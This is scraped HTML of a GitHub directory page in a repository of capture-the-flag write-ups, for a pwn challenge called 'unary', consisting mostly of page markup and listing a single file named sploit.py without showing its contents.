1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> KEERRO </span> <span>/</span> ctf-writeups <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>4</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>27</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>2</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>1</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/KEERRO/ctf-writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":162845937,"originating_url":"https://github.com/KEERRO/ctf-writeups/tree/master/SuSeC%20CTF%202020/pwn/unary","user_id":null}}" data-hydro-click-hmac="6b4ac35a842080836ba884f895cfa56f6cbe231ce1db2d341bbc431a4530f1f6"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/KEERRO/ctf-writeups/refs" cache-key="v0:1647876588.2277062" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="S0VFUlJPL2N0Zi13cml0ZXVwcw==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/KEERRO/ctf-writeups/refs" cache-key="v0:1647876588.2277062" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="S0VFUlJPL2N0Zi13cml0ZXVwcw==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>SuSeC CTF 2020</span></span><span>/</span><span><span>pwn</span></span><span>/</span>unary<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>SuSeC CTF 2020</span></span><span>/</span><span><span>pwn</span></span><span>/</span>unary<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/KEERRO/ctf-writeups/tree-commit/06bbaff46db8a3bdd138b18de938f9440e4e83b8/SuSeC%20CTF%202020/pwn/unary" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/KEERRO/ctf-writeups/file-list/master/SuSeC%20CTF%202020/pwn/unary"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>sploit.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> 